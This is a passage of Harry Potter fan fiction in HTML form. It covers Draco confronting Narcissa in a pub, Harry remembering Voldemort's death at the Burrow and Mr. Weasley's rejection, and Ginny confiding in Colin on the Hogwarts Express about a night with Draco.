&#8216;diplomatic&#8217; with hostile people. </p>\n\n<p>&nbsp;Draco narrowed his eyes as he crossed the street with his mother and led the way to a small, quiet pub for them to have brunch. He almost smiled at the look of haughty disgust on his mother&#8217;s face when she realised that they would be eating there. There was a time when he would have mirrored her expression, but those days had passed. The pub was clean and there were very few patrons, so it suited his needs. Plus he wanted to eat something of substance instead of the delicate foods available on the hotel&#8217;s menu.</p>\n\n<p>&nbsp;He found a small booth for them to sit in and scanned the menu, ignoring his mother&#8217;s glare. If she wouldn&#8217;t speak, that was fine, he would order then.</p>\n\n<p>&nbsp;&#8220;Two pork and cider pies,&#8221; Draco told the menu. &#8220;And two pints of butterbeer.&#8221;</p>\n\n<p>&nbsp;At this last, Narcissa actually flinched and Draco had to fight a grin. &#8220;Oh, I&#8217;m sorry, did you wish to order, Mother?&#8221;</p>\n\n<p>&nbsp;Still she said nothing, turning her head away so that she didn&#8217;t have to see their plates and cups pop up from the table. Narcissa&#8217;s silver eyes squeezed shut, her face pinched and wounded. Draco picked up his fork and sighed, jabbing first at the cover of his pie and then at his mashed potatoes. He really was hungry, but at the same time&#8212;</p>\n\n<p>&nbsp;&#8220;Don&#8217;t play with your food,&#8221; Narcissa snapped suddenly, pulling out a scented handkerchief to hold over her nose.</p>\n\n<p>&nbsp;Draco lifted his head. &#8220;Oh, you&#8217;re talking now I see.&#8221;</p>\n\n<p>&nbsp;Her eyes were cold over the cloth she held to her face and she whispered from behind it harshly. &#8220;Why did you bring me here? This place is as common as a goblin and I refuse to eat a bite of&#8212;&#8221; She pointed a thin finger at the pie as if it were a pile of dung. &#8220;<i>That</i> whatever it is.&#8221;</p>\n\n<p>&nbsp;&#8220;It&#8217;s called a pie, Mother. Perhaps you&#8217;ve heard of it? If not, you really need to get out of the Manor more often.&#8221; Draco lifted his fork and took a very deliberate bite, watching her the entire time. It was a good pie, but he&#8217;d tasted much better. The way it tasted only mattered so much though; he wasn&#8217;t about to let the woman ruin his appetite now that he had one again.</p>\n\n<p>&nbsp;Narcissa flickered her eyes between the pie and his face before settling for somewhere on the table. Her eyelids drooped a little and her skin paled even further if it were possible. Draco rolled his eyes. He was honestly curious about how she managed to make herself look <i>that</i> sick in the space of a minute.</p>\n\n<p>&nbsp;&#8220;Oh Draco, what did they do to you? You act as if&#8212; as if you&#8217;re no longer proud of your heritage.&#8221;</p>\n\n<p>&nbsp;&#8220;I&#8217;m proud, Mother; believe me I&#8217;m proud,&#8221; Draco whispered harshly. &#8220;But I&#8217;m not stupid. After what Father did&#8212; do you really think our name hasn&#8217;t been tarnished enough? It was bad before, but people were forgetting; they didn&#8217;t remember anymore why they cursed our name. They didn&#8217;t <i>remember </i>the hundreds of witches and wizards we sent screaming into their graves centuries ago.&#8221;</p>\n\n<p>&nbsp;He paused for a moment when he realised that he was losing control and his voice had risen to where anyone in the pub could have easily heard him speaking. Draco sucked in a breath and reined his anger before continuing on in a more neutral tone. </p>\n\n<p>&nbsp;&#8220;But now they know why they hate us so much, Mother. Everywhere I go they pull their children close and mutter protective charms under their breath. I don&#8217;t mind the awe or the fear, but it&#8217;s bloody annoying when they throw things through the fecking windows while I&#8216;m sleeping.&#8221;</p>\n\n<p>&nbsp;&#8220;Don&#8217;t speak to me&#8212;&#8221;</p>\n\n<p>&nbsp;&#8220;I&#8217;ll speak to you however I please, now that you&#8217;re actually talking back instead of ignoring me.&#8221; Draco put his palms flat on the table and leaned forward. &#8220;What did he make you do, Mother? Go on, you can tell me. Did he pass you around to his friends? Or did he save the lady of the manor for his master alone?&#8221;</p>\n\n<p>&nbsp;There was a resounding crack as Narcissa&#8217;s hand struck his face for the second time in his life. &#8220;How dare you! You have no pride, you are not loyal, you don&#8217;t even bleed the same colour as I do anymore,&#8221; she whispered loudly despite the stares from the pub&#8217;s patrons. &#8220;You aren&#8217;t my son at all. You&#8217;re acting like Luc&#8212;&#8221; She stopped and was silent for a moment, her breathing laboured.</p>\n\n<p>&nbsp;Draco turned his head back and gazed at her, his eyes burning with fury. People had always said that he resembled his father, that he was an exact replica in fact. But seeing his mother now, her face fierce and sharp angled with quiet rage, he didn&#8217;t know how anyone could possibly say that. A feminised mirror image silently battled with him until one finally relented. Narcissa shrank back across the table, but not fast enough to avoid Draco&#8217;s hand as it snaked out to grab her arm, his knuckles whitening with the strength of his grip. </p>\n\n<p>&nbsp;&#8220;Be careful, Mother,&#8221; Draco hissed. &#8220;Or I&#8217;ll toss you out on your arse quicker than you can blink.&#8221;</p>\n\n<p>&nbsp;&#8220;You wouldn&#8217;t dare,&#8221; she replied in all confidence.</p>\n\n<p>&nbsp;He lifted one corner of his mouth in a sneer. &#8220;I can do much more than dare now that <i>I&#8217;m</i> the master of Malfoy Manor.&#8221; Draco relaxed his face into something more closely resembling a smile, releasing her arm. &#8220;Now do eat up, Mother. After all, you need your strength if you&#8217;re going to walk back to the hotel.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;*~*~*~*~*</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;Harry sighed as he looked out of a window in the Gryffindor common room. He and Hermione had been there a week already and school wasn&#8217;t due to start until after the weekend was over.</p>\n\n<p>&nbsp;It had been nice with just Hermione and the odd Gryffindor around. There were only three other people who had stayed over the holidays and they were all much younger, so they gave a wide berth to their elders.</p>\n\n<p>&nbsp;Hermione slept in his bed since there were no other seventh year boys around to comment on it, and no seventh year girls, for that matter. It had been a wild celebration all over the school since they had gotten back and Harry was more than just a little sick of it. He had even seen Professor Flitwick dancing about in the halls like a child, shooting multi-coloured sparks from his wand into the air. One thing that bothered him, though, was his visit to Dumbledore the day they came back to Hogwarts.</p>\n\n<p>&nbsp;Harry thought he saw something kindle the man&#8217;s eyes for a moment before it was promptly squashed back down and he had told Harry and Hermione to go back to Gryffindor tower and rest. Hermione said that she hadn&#8217;t noticed, but the possibility that he might have disappointed Dumbledore with his rash actions haunted Harry almost as much as his last conversation with Mr. Weasley.</p>\n\n<p>&nbsp;He stood up from the window ledge and sat on the sofa, gazing into the grate as he allowed the memories of that day to wash over him. The day he and Hermione had returned from Ottery St. Catchpole to find the Burrow in a frenzy of activity. Aurors were everywhere, surrounding the house and stomping their way through the garden. If it hadn&#8217;t have been for the scar on his forehead, they wouldn&#8217;t have even let them onto the property.</p>\n\n<p>&nbsp;The kitchen was a disaster area. Death Eaters were being petrified and floated into one corner to be tied together. And then he saw the bodies.</p>\n\n<p>&nbsp;The first one was Percy, laid out on the kitchen table. The black robes he wore didn&#8217;t really startle Harry so much as his expression. It was peaceful and soft, more relaxed in death than he had ever seen him in life. Hermione gasped and clutched tightly onto Harry&#8217;s arm, burying her face in his shoulder.</p>\n\n<p>&nbsp;Further into the room, one of the Aurors was levitating another body, covered in the bright floral chintz that Harry recognised as the kitchen tablecloth. He didn&#8217;t have a clue who it was, but from the dark robes billowing out the bottom, he had a feeling that it was someone who deserved it.</p>\n\n<p>&nbsp;Beyond this was a small circle of people gathered around another body. Mr. Weasley turned around from where he was standing in the circle and looked at Harry, beckoning him closer with a relieved expression on his face. Harry dropped Hermione&#8217;s hand and shuffled forward, almost afraid to look, afraid that he would see red hair again. But no, it was another black robed figure, his body thin and twisted, blood congealed on the floor underneath him. </p>\n\n<p>&nbsp;Harry recognised Voldemort immediately. </p>\n\n<p>&nbsp;The corpse looked dry and the skin cracked in places like an old leather book someone had forgotten to oil. From under the slanted eyelids, Harry could see a glimpse of red. </p>\n\n<p>&nbsp;&#8220;W-who&#8212;&#8221; Harry swallowed, taking a deep breath and looking around for Hermione. Mr. Weasley patted him on the shoulder to get his attention, pointing over to where Ron was sitting at the kitchen table, staring at his dead brother.</p>\n\n<p>&nbsp;&#8220;Ron did this? He killed&#8212;&#8221; Harry had felt sick then, barely able to keep from throwing up his guilt for all to see. Hermione had come over finally and was gripping his arm, staring mutely at Lord Voldemort&#8217;s mortal remains.</p>\n\n<p>&nbsp;Mr. Weasley nodded, wiping his face with the hem of his sleeve. &#8220;We were quite worried about you, Harry. But I&#8217;m glad to see that you&#8217;re all right now.&#8221; He glanced up and studied Harry shrewdly for a moment before gazing fixedly at some point on the wall. &#8220;Why did you leave?&#8221; </p>\n\n<p>&nbsp;&#8220;I . . .&#8221; Harry trailed off, unable to say that it had all been because of something so stupid and trivial as a fight. </p>\n\n<p>&nbsp;Mr. Weasley turned and was staring hard at him now, his eyes not exactly sympathetic. &#8220;You were under my care for the holidays, you and Hermione both. You had no right to leave without telling us. He-Who-Must-Not-Be-Named could have found you wandering out in the snow. You would be dead and it would be my fault.&#8221;</p>\n\n<p>&nbsp;&#8220;I left you a note, sir,&#8221; Harry mumbled. </p>\n\n<p>&nbsp;&#8220;A note?&#8221; He asked incredulously. Mr. Weasley&#8217;s face was flushed and irritated looking. &#8220;You left us a note? You couldn&#8217;t even come and tell us to our faces that you were leaving; taking Hermione with you and risking her life, too?&#8221;</p>\n\n<p>&nbsp;It had struck Harry then just how stupid he had been. Instead of keeping Hermione safe, she could have been in even more danger than before. Mr. Weasley wasn&#8217;t looking at them now; he was staring at Ron.</p>\n\n<p>&nbsp;&#8220;I&#8217;m sending you both back to Hogwarts. Maybe Dumbledore will be able to convince you of the seriousness of what you&#8217;ve done. I&#8217;m very disappointed in you, Harry. This lack of respect on your part is something I won&#8217;t tolerate. I can&#8217;t accept responsibility for your welfare when you deliberately put yourself in harm&#8217;s way. And&#8212;&#8221; The man dropped his gaze to the floor, tightening his lips. &#8220;And you&#8217;re no longer welcome here; at least not for a while. Perhaps in a few months when you&#8217;ve learnt some respect and you can show me that you really are the Harry I knew, then we&#8217;ll see.&#8221;</p>\n\n<p>&nbsp;Mr. Weasley still wouldn&#8217;t look at him. Harry felt a tear slip down his cheek and Hermione was riveted to his side, frozen in horror. This man had been a father to him, and his wife a mother. And now they were rejecting him all because of one stupid mistake.</p>\n\n<p>&nbsp;&#8220;Harry? Harry,&#8221; Hermione said into his ear.</p>\n\n<p>&nbsp;Harry looked around and he realised that he was still staring at the fire, which had banked down to embers. He was in the common room, and Hermione was here. He looked up to see her twining her fingers through the gold chain around her neck; playing with the amber heart he&#8217;d finally given her a few days after Christmas. He had known that the tiny insect trapped inside would appeal to her scientific nature while the warm amber represented her heart, as silly as it sounded. And she was showing that to him now. It was in her eyes, her concern for him and her love. Hermione would always be here to wrap him like that insect with her tenderness and heat and&#8212;</p>\n\n<p>&nbsp;&#8220;Harry, are you all right?&#8221;</p>\n\n<p>&nbsp;He sighed and shook his head to clear it of the images of Voldemort and Mr. Weasley that flooded back with her words. &#8220;I&#8217;m fine. I was just thinking.&#8221;</p>\n\n<p>&nbsp;Hermione sat down beside him and leaned her head on his shoulder. &#8220;You were thinking about Christmas again, weren&#8217;t you?&#8221;</p>\n\n<p>&nbsp;She never referred to it as &#8216;the day Voldemort died&#8217; or &#8216;the day the Weasleys kicked him out of their family&#8217;, it was always just &#8216;Christmas&#8217;. Harry nodded, reaching over to hold her hand. </p>\n\n<p>&nbsp;It all felt so horribly wrong. <i>He</i> was supposed to kill Voldemort, <i>he</i> was supposed to risk his life for everyone else, and it was what he had prepared himself for for years. Harry squeezed Hermione&#8217;s hand a little tighter, not realising that he was hurting her until she gasped.</p>\n\n<p>&nbsp;&#8220;I&#8217;m sorry,&#8221; he murmured, dropping her hand. &#8220;I&#8217;m sorry for all of this. Ron shouldn&#8217;t have had to kill Voldemort. I should have been there.&#8221;</p>\n\n<p>&nbsp;Hermione sighed and reached up to pull his cheek down to lie on the top of her head. Her fingers were warm on his scalp and he almost moaned at the pleasure of that one simple act. </p>\n\n<p>&nbsp;&#8220;There isn&#8217;t anything you can do now. Ron killed him and he&#8217;ll never bother us again. So what if it wasn&#8217;t you? You weren&#8217;t born just to kill Voldemort; you&#8217;ve other purposes in life I&#8217;m sure.&#8221;</p>\n\n<p>&nbsp;&#8220;Yeah,&#8221; Harry laughed unexpectedly, and Hermione glanced up at the bitter sound. &#8220;But I&#8217;m supposed to be the hero, remember?&#8221;</p>\n\n<p>&nbsp;Hermione sat up straight and pulled away. Harry felt cold inside again at her withdrawal. &#8220;Is that what bothers you so much? That Ron is being praised and petted when you aren&#8217;t?&#8221;</p>\n\n<p>&nbsp;Harry shook his head, frustrated with himself. &#8220;No, that isn&#8217;t it. Ron deserves all of that, and he earned it. I just&#8212; it&#8217;s as if I don&#8217;t know what to do with my life now, Hermione. Voldemort is gone and I concentrated on him for so long&#8212; I never actually expected to live past a certain age, so now I have to figure out what to do now that my life expectancy has gone up.&#8221;</p>\n\n<p>&nbsp;&#8220;So you&#8217;re angry because you&#8217;re still alive?&#8221; Hermione clucked her tongue. &#8220;Honestly, Harry. You were going to be an Auror weren&#8217;t you? I mean, we&#8217;ve both been accepted and it seems silly for you to change your mind now.&#8221;</p>\n\n<p>&nbsp;&#8220;I&#8217;m not changing my mind, I just don&#8217;t see the point in it. Voldemort&#8217;s dead and almost all of the Death Eaters have been rounded up, so what&#8217;s left to fight? Why be an Auror when there&#8217;s nothing to do?&#8221;</p>\n\n<p>&nbsp;Hermione sighed and plucked at his sleeve absently. &#8220;Harry, there will <i>always</i> be evil to fight somewhere. Voldemort wasn&#8217;t the only evil thing on earth. There are dark wizards everywhere who aren&#8217;t even connected to him, and innocent people out there need protection from them. Protection only you can give.&#8221;</p>\n\n<p>&nbsp;Harry raised his eyebrows, but still felt a bit sceptical. He also felt more than a little foolish and Hermione had spoken to him in a tone one might use with a child who was being unreasonable. That in particular annoyed him to no end. She was right, of course, and he knew it. But that didn&#8217;t mean he had to give up the small voice of immaturity he&#8217;d managed to hold onto just yet. He was only seventeen and he had a right to it, after all.</p>\n\n<p>&nbsp;&#8220;I still don&#8217;t know. Maybe I should give the whole thing up and do something else. There&#8217;s still that letter from the Wimbourne Wasps. I could be a Quidditch star.&#8221;</p>\n\n<p>&nbsp;She penetrated him with a piercing stare from under her eyebrows. &#8220;Harry, you get flustered when someone recognises you now. Can you imagine how it would be if you were a Quidditch star? You&#8217;d have people mobbing you worse than they do already. And,&#8221; Hermione added almost to herself. &#8220;Girls would start popping out of closets and such. It would be dreadful.&#8221;</p>\n\n<p>&nbsp;He blinked at her for a moment before laughing and pulling her close. &#8220;You&#8217;re jealous of some imaginary girls, aren&#8217;t you?&#8221;</p>\n\n<p>&nbsp;Hermione blushed, smiling a little. &#8220;I suppose that&#8217;s silly, isn&#8217;t it?&#8221;</p>\n\n<p>&nbsp;&#8220;Very silly,&#8221; Harry agreed, more cheered now than he had been in a while. &#8220;So what has you awake so early in the morning?&#8221;</p>\n\n<p>&nbsp;Hermione glanced at the clock and her mouth dropped open. &#8220;It&#8217;s almost ten o&#8217; clock! Why did you let me sleep so late?&#8221;</p>\n\n<p>&nbsp;&#8220;You looked peaceful. I didn&#8217;t want to disturb you.&#8221;</p>\n\n<p>&nbsp;&#8220;Oh,&#8221; Hermione said, closing her mouth. &#8220;Well, I actually came down to see if you had any Flobberworms. I&#8217;m out.&#8221;</p>\n\n<p>&nbsp;&#8220;Did you check my potions kit?&#8221;</p>\n\n<p>&nbsp;&#8220;Yes.&#8221;</p>\n\n<p>&nbsp;Harry frowned. &#8220;Then why are you asking me for Flobberworms if you&#8217;ve already looked. It isn&#8217;t as if I keep them in my pocket.&#8221;</p>\n\n<p>&nbsp;Hermione sighed and picked at his sleeve again. &#8220;Just thought I would ask,&#8221; she mumbled, glancing up at him surreptitiously from under her eyelashes.</p>\n\n<p>&nbsp;&#8220;You want me to go down to Hagrid&#8217;s cabin, in the snow, and get them for you.&#8221; Harry guessed.</p>\n\n<p>&nbsp;She smiled. &#8220;You know me too well.&#8221;</p>\n\n<p>&nbsp;Harry raised his eyebrows and she grinned. &#8220;Please? You&#8217;re already dressed and everything.&#8221; </p>\n\n<p>&nbsp;Mumbling to himself, Harry stood up and looked around for his overshoes. &#8220;I suppose it wouldn&#8217;t kill me. What do you need them for anyway?&#8221;</p>\n\n<p>&nbsp;Hermione laughed. &#8220;I need them for the potion, you know which one I mean.&#8221;</p>\n\n<p>&nbsp;&#8220;Oh,&#8221; Harry said, cottoning on. &#8220;That really is necessary. You don&#8217;t have anymore of the one Ginny gave you?&#8221;</p>\n\n<p>&nbsp;&#8220;No, I ran out yesterday. But she gave me the formula, so I don&#8217;t have to worry about hunting it down.&#8221;</p>\n\n<p>&nbsp; Harry nodded. &#8220;Well, give me a kiss at least before you send me out to catch my death of cold.&#8221;</p>\n\n<p>&nbsp;She stood up and smacked him soundly on the lips, wrapping him up in a heavy wool cloak. &#8220;Don&#8217;t be long, love. This is our last day before everyone comes back to school and the house is full again.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&#8220;I know. After tomorrow you have to go back to your room. I&#8217;ll miss you terribly then.&#8221;</p>\n\n<p>&nbsp;&#8220;I&#8217;ll still be here, Harry. I just won&#8217;t be able to sleep in your bed anymore.&#8221;</p>\n\n<p>&nbsp;Harry nodded grumpily and gave her another kiss before walking out the portrait hole.&nbsp; </p>\n\n<p>&nbsp;&#8220;Stupid rules,&#8221; he rumbled to himself. &#8220;This year&#8217;ll take forever to end.&#8221;</p>\n\n<p>&nbsp;Still bemoaning the unfairness of it all, Harry stomped through the snow down to Hagrid&#8217;s cabin. There was smoke curling from the chimney and he would be grateful to get inside and out of the cold. He knocked on the thick oak door and stamped his feet to keep them from freezing while he waited for Hagrid to open it.</p>\n\n<p>&nbsp;When the door creaked and Hagrid appeared, Harry frowned. &#8220;What&#8217;s wrong, Hagrid? Are you sick?&#8221;</p>\n\n<p>&nbsp;Hagrid&#8217;s face was an unhealthy shade of grey and his beard was more unkempt than usual and quite greasy looking. It appeared that he hadn&#8217;t left his cabin or done anything with himself for at least a week or more.</p>\n\n<p>&nbsp;&#8220;Hullo, Harry. I&#8217;m jus&#8217; a bit under the weather. Did yeh need summat?&#8221;</p>\n\n<p>&nbsp;&#8220;Hermione sent me down for some Flobberworms, she&#8217;s out,&#8221; Harry said slowly, thinking it peculiar that Hagrid hadn&#8217;t invited him in for tea by now.</p>\n\n<p>&nbsp;Hagrid nodded and closed the door, returning after a moment with a box of frozen Flobberworms in his hand. He gave them to Harry. &#8220;If I&#8217;m no&#8217; here, yeh can alwas dig up the back trench fer more. Sorry I can&#8217; let yeh in ter chat an all, I migh&#8217; be catchin&#8217;. Don&#8217; want yeh sick.&#8221;</p>\n\n<p>&nbsp;&#8220;I understand. Have you been to see Madame Pomfrey? I&#8217;m sure she has something for whatever it is you have.&#8221;</p>\n\n<p>&nbsp;Hagrid shook his head. &#8220;I&#8217;ll be righ&#8217; as rain soon enuff. But uh&#8212;&#8221; He glanced around as if looking for someone before continuing. &#8220;If anythin&#8217; happens ter me, take care o&#8217; Fang fer me, will yeh?&#8221;</p>\n\n<p>&nbsp;&#8220;If anything&#8212; Hagrid, are you <i>sure</i> you&#8217;re all right? I think I should take you to the Infirmary and let Madame Pomfrey have a look. You don&#8217;t sound good.&#8221;</p>\n\n<p>&nbsp;Hagrid shook his head again, not budging an inch on the matter. &#8220;Don&#8217; worry abou&#8217; me. Jus&#8217; remember what I said, Harry.&#8221;</p>\n\n<p>&nbsp;And the door was closed in his face.</p>\n\n<p>&nbsp;Harry stood there for a moment, blinking away the harsh glare from the sunlight on the snow reflected against the thick shiny door of Hagrid&#8217;s cabin. Something was very wrong. The feeling that had all but disappeared with Voldemort&#8217;s death started creeping up again. Maybe Hermione was right, there was still something left to fight.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;*~*~*~*~*</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;Ron smiled broadly and leaned back against the cushy seat in his own private compartment on the Hogwarts Express. At least it was supposed to be private, but somehow, several very pretty girls had managed to find him anyway. And there they were, clustered around him like a garden of flowers and chattering away animatedly.</p>\n\n<p>&nbsp;&#8220;So you really did it? Kill him, I mean,&#8221; one of them asked, her curly black hair glistening in the sunlight pouring through the window.</p>\n\n<p>&nbsp;Ron raised his eyebrows. &#8220;Oh yeah, I cracked him good. Voldemort was just a scared little baby.&#8221;</p>\n\n<p>&nbsp;The girls all gasped and leaned closer. &#8220;Oh you said <i>His </i>name, how dreadful!&#8221; One of them whispered in his ear. </p>\n\n<p>&nbsp;&#8220;You&#8217;re so brave,&#8221; another girl sighed.</p>\n\n<p>&nbsp;&#8220;He wasn&#8217;t a big deal, I think. He looked like a skeleton and sounded like a pennywhistle.&#8221; Ron waved his hand as if dismissing the whole affair.</p>\n\n<p>&nbsp;They all giggled, leaning closer. Ron was quickly running out of room. If they didn&#8217;t back up, his lap would be full of women. Not that he seemed to mind. </p>\n\n<p>&nbsp;He grinned and held up his hands to back them off. &#8220;Easy now, I won&#8217;t be able to breathe in a minute!&#8221;</p>\n\n<p>&nbsp;&#8220;We&#8217;re so sorry, Ronny! Come on now, behave yourself,&#8221; a blonde girl with bright blue eyes said, swatting at some of the other females who were practically on top of him. &#8220;Tell us more,&#8221; she pleaded, her eyes gleaming like very round, shiny buttons.</p>\n\n<p>&nbsp;Ron looked over her head and winked at Ginny, who was sitting across from him. She snorted and dug into her bag for a book, mumbling to herself. He shrugged and continued with his story. </p>\n\n<p>&nbsp;&#8220;Well,&#8221; he said, putting his finger to his lips in mock thought. &#8220;I held my wand high, like this!&#8221; </p>\n\n<p>&nbsp;Ron shot up and brandished his wand for all to see, swishing it dramatically. They all oohed and aahed, clapping their hands with glee as he acted out a false play on the events of Christmas morning before taking his seat again. </p>\n\n<p>&nbsp;&#8220;Then I poked him in the eye with my wand and said: &#8216;Don&#8217;t touch my sister!&#8217; Before he could do anything else, I yelled out the killing curse and he went splat against the wall.&#8221;</p>\n\n<p>&nbsp;&#8220;You saved your sister!&#8221; A girl breathed in dramatically, the action pushing her breasts out and closer to Ron&#8217;s face, before turning to look at Ginny. &#8220;Aren&#8217;t you proud of him?&#8221;</p>\n\n<p>&nbsp;Ginny lifted one eyebrow but said nothing, not even bothering to lift her head from the book she was reading. This was quickly becoming unbearable. At least Harry had never played to the crowd like this. He always discouraged the silly-headed chippies and arse-lickers that trailed after him like loyal sheep. Ron on the other hand . . .</p>\n\n<p>&nbsp;She looked up then to see that two of the girls actually <i>had</i> climbed into his lap now instead of just threatening to do so. They were cooing in a sickening manner and petting his face and hair while several more were stroking his arms: a regular harem.</p>\n\n<p>&nbsp;Ginny put away her book and came to her feet, picking up her satchel to find another compartment. There was no way she could possibly study in here with <i>that</i> going on.</p>\n\n<p>&nbsp;&#8220;Oi! Gin,&#8221; Ron yelled out behind her. &#8220;Where&#8217;re you going?</p>\n\n<p>&nbsp;She didn&#8217;t bother answering, but instead pulled the door closed behind her, rattling the glass in its frame. Ginny walked a ways, her head still down until she bumped into someone. She looked up to apologise, but her breath was taken away and she dropped her books to hug the person close.</p>\n\n<p>&nbsp;&#8220;Colin!&#8221; she squealed, wrapping her arms around his thin chest. &#8220;It&#8217;s so good to see you.&#8221; Her muffled voice sounded against his jumper. She could hear the rumble of laughter as he pulled her tight and gave a sound kiss to the top of her head.</p>\n\n<p>&#8220;I&#8217;ve missed you, too, you little hag.&#8221;</p>\n\n<p>&nbsp;Ginny pulled away and swatted at him playfully before retrieving her books. &#8220;Prat.&#8221;</p>\n\n<p>&nbsp;&#8220;I know. I&#8217;m rotten, aren&#8217;t I?&#8221; He grinned, looking down at her from his <i>lofty</i> height of about five-foot eight. Colin&#8217;s wispy brown hair was falling into his eyes and he pushed it back with a casual flick of his fingers. </p>\n\n<p>&nbsp;Ginny put her hands on her hips and pursed her mouth before giving up and breaking into a smile. &#8220;I&#8217;ve so much to tell you.&#8221;</p>\n\n<p>&nbsp;Colin raised his eyebrows. &#8220;I&#8217;ve heard most of it already, several versions in fact.&#8221;</p>\n\n<p>&nbsp;&#8220;You won&#8217;t have heard the one <i>I&#8217;m </i>going to tell you.&#8221;</p>\n\n<p>&nbsp;Colin glanced around before pulling Ginny into his own compartment. It had remained mostly empty except for two terrified looking first years. </p>\n\n<p>&nbsp;&#8220;Out of here, you lot,&#8221; he said, shooing them away. Once the two girls had run out, he sat down and motioned for Ginny to sit beside him. &#8220;So tell me what <i>really</i> happened. For some reason, I can&#8217;t imagine your brother killing You-Know-Who with a well-aimed piece of toast.&#8221;</p>\n\n<p>&nbsp;Ginny giggled. &#8220;Hardly. Ron was just telling a gaggle of girls in his compartment how he poked the Dark Lord in the eye and killed him with a flick of his wand.&#8221;</p>\n\n<p>&nbsp;Colin laughed, slapping his leg. &#8220;That&#8217;s a good one.&#8221;</p>\n\n<p>&nbsp;&#8220;I know, he&#8217;s a huge head about it all now. He&#8217;s even taken to saying His name.&#8221;</p>\n\n<p>&nbsp;Colin whistled. &#8220;Wow, I didn&#8217;t know he had it in him.&#8221;</p>\n\n<p>&nbsp;&#8220;I know.&#8221; Ginny smirked. &#8220;You should hear some of the stories he&#8217;s telling everyone.&#8221;</p>\n\n<p>&nbsp;&#8220;I think I already have. So go on,&#8221; Colin said, leaning back against the window to face her, his hands behind his head. &#8220;Tell me what really happened.&#8221;</p>\n\n<p>&nbsp;&#8220;Well, you must make sure that this doesn&#8217;t go beyond us. We&#8217;re not supposed to tell anyone what really happened as they&#8217;re trying to keep it quiet for various reasons. But I know you&#8217;ll sit on it.&#8221; Ginny inhaled deeply. &#8220;On Christmas morning . . .&#8221;</p>\n\n<p>&nbsp;So Ginny told him about Christmas day, and how Ron had killed Voldemort and Lucius Malfoy. She couldn&#8217;t bring herself to talk about Percy, and she left out obvious details of what had occurred after the Aurors arrived. But Colin lifted his eyebrow and pierced her with a stare.</p>\n\n<p>&nbsp;&#8220;I heard that Draco Malfoy stayed at your house over the holidays, but you didn&#8217;t mention him at all.&#8221;</p>\n\n<p>&nbsp;&#8220;Oh, didn&#8217;t I?&#8221; She flustered, gazing at a point somewhere below Colin&#8217;s eyes, which happened to be his nose. &#8220;I must have forgotten. He really wasn&#8217;t that important to the whole thing anyway.&#8221; Ginny smiled weakly.</p>\n\n<p>&nbsp;Colin wouldn&#8217;t let it go though and he kept after her about it. &#8220;I smell something here,&#8221; he said, dropping his arms and leaning forward. &#8220;What are you hiding?&#8221;</p>\n\n<p>&nbsp;&#8220;Nothing,&#8221; Ginny insisted, her eyes rounded with feigned innocence as she continued to stare at his nose.</p>\n\n<p>&nbsp;&#8220;You can&#8217;t even look me in the eye, Gin. What have you been up to over the hols?&#8221;</p>\n\n<p>&nbsp;Ginny sighed in exasperation and aimed a glare at him. &#8220;It&#8217;s not as if I&#8217;m proud of this, mind, so don&#8217;t tell anyone what I&#8217;m about to say.&#8221;</p>\n\n<p>&nbsp;Colin smirked. &#8220;What&#8217;d you do, snog him or something?&#8221;</p>\n\n<p>&nbsp;Ginny looked him directly in the eye then, not blinking until Colin gasped and sat back, understanding at last that she meant something more than a little kiss.</p>\n\n<p>&nbsp;&#8220;You didn&#8217;t! With him? Are you mad?&#8221;</p>\n\n<p>&nbsp;&#8220;Shh,&#8221; she hissed, glancing around to make sure no one had heard, even though they were alone. The walls seemed to have ears lately and Ginny was anxious. &#8220;Yes, I did.&#8221;</p>\n\n<p>&nbsp;&#8220;Why though? I mean&#8212;&#8221; </p>\n\n<p>&nbsp;&#8220;I don&#8217;t know! He was there and, well, it just seemed like the thing to do.&#8221;</p>\n\n<p>&nbsp;&#8220;With your mortal enemy? You <i>do</i> remember that he was the one who sold those pictures of you, don&#8217;t you? He&#8217;s a Malfoy, for ABBA&#8217;s sake!&#8221;</p>\n\n<p>&nbsp;Ginny wrinkled her brow. &#8220;Who?&#8221;</p>\n\n<p>&nbsp;&#8220;Never mind that. Look.&#8221; Colin lifted her chin and gazed into her eyes. &#8220;You&#8217;re biting off more than you can chew here, Gin-girl. This isn&#8217;t like the innocent tumbles we had; he&#8217;s dangerous.&#8221;</p>\n\n<p>&#8220;You think I don&#8217;t know that?&#8221; she snapped, pulling away. She couldn&#8217;t look at him anymore, not when he still had that betrayed look on his face. It wasn&#8217;t as if Colin felt something for her other than a very deep friendship, but she knew he was horrified all the same.</p>\n\n<p>&nbsp;&#8220;Why did you do it then? And you brewed the potion at least, right? Please tell me that you did because I don&#8217;t think I&#8217;d be able to handle you getting preg&#8212;&#8221;</p>\n\n<p>&nbsp;&#8220;Yes.&#8221; Ginny cut him off by clamping her hand over his mouth. &#8220;Of course I did, I&#8217;m not stupid.&#8221;</p>\n\n<p>&nbsp;Colin was still looking at her. She knew that if he kept it up, she&#8217;d spill and it would be over. Sucking in a breath, Ginny told him everything: all the flirting, the thing about Lucius and her brother, Draco&#8217;s reaction to that, and the bathroom scene.</p>\n\n<p>&nbsp;&#8220;So he attacked you in the bathroom then? I&#8217;ll kill&#8212;&#8221;</p>\n\n<p>&nbsp;&#8220;No!&#8221; Ginny shook her head in exasperation. It really was a relief to finally tell someone other than Hermione what had been pressing on her mind, but it was difficult to form the words sometimes when even she didn&#8217;t know what she&#8217;d been thinking. &#8220;You don&#8217;t understand, Colin. We didn&#8217;t do anything more than snog there. We did it later that night in his bedroom. And he didn&#8217;t attack me, either, it was more like&#8212; well, I jumped on him.&#8221;</p>\n\n<p>&nbsp;Colin&#8217;s eyes rounded to something close to saucer sized while she continued. &#8220;And I don&#8217;t know why I did it. I mean, I don&#8217;t even like him and I <i>certainly</i> don&#8217;t love him.&#8221;</p>\n\n<p>&nbsp;Colin seemed to visibly relax then, patting her hand. &#8220;It&#8217;s one of those then. Don&#8217;t worry about it so much. You&#8217;ll forget eventually and everything will be right as rain. Too bad you weren&#8217;t so aggressive when we were messing around or I might be straight now.&#8221; His lips quirked then as he fought a smile. &#8220;So how was it?&#8221;</p>\n\n<p>&#8220;<i>Colin</i>!&#8221; Ginny gasped, her mouth hanging open. &#8220;How could you ask me that? I don&#8216;t ask you about your sex life, do I?&#8221;</p>\n\n<p>&nbsp;&#8220;That&#8217;s because you told me once that you were fine with me being gay as long as 